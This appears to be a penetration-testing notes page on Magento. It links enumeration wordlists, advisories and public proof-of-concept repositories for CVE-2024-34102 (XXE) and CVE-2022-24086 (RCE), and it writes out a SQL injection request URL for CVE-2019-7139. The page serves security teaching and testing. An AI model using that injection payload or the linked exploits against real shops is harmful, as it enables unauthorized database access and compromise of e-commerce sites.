# Magento

## Enumeration

{% embed url="<https://github.com/trickest/wordlists/blob/main/technologies/magento-all-levels.txt>" %}

{% embed url="<https://github.com/trickest/wordlists/blob/main/technologies/magento.txt>" %}

## CVE-2024-34102

CVE-2024-34102 *affects Adobe Commerce / Magento versions 2.4.6 and earlier*.

XML External Entity Reference ([XXE](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/xxe-xslt)) vulnerability that could result in arbitrary code execution

{% embed url="<https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102>" %}

{% embed url="<https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102>" %}

{% embed url="<https://github.com/Chocapikk/CVE-2024-34102>" %}

{% embed url="<https://github.com/EQSTLab/CVE-2024-34102>" %}

{% embed url="<https://github.com/th3gokul/CVE-2024-34102>" %}

## CVE-2022-24086 - Unauth RCE

Magento Open Source / Adobe Commerce - 2.3.3-p1 - 2.3.7-p2

Magento Open Source / Adobe Commerce - 2.4.0 - 2.4.3-p1

{% embed url="<https://github.com/oK0mo/CVE-2022-24086-RCE-PoC>" %}

## CVE-2019-7139 - SQLi

{% embed url="<https://security.snyk.io/vuln/SNYK-PHP-MAGENTOCOMMUNITYEDITION-174030>" %}

```
    https://magento2website.com/catalog/product_frontend_action/synchronize?
    type_id=recently_products&
    ids[0][added_at]=&
    ids[0][product_id][from]=?&
    ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
```

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
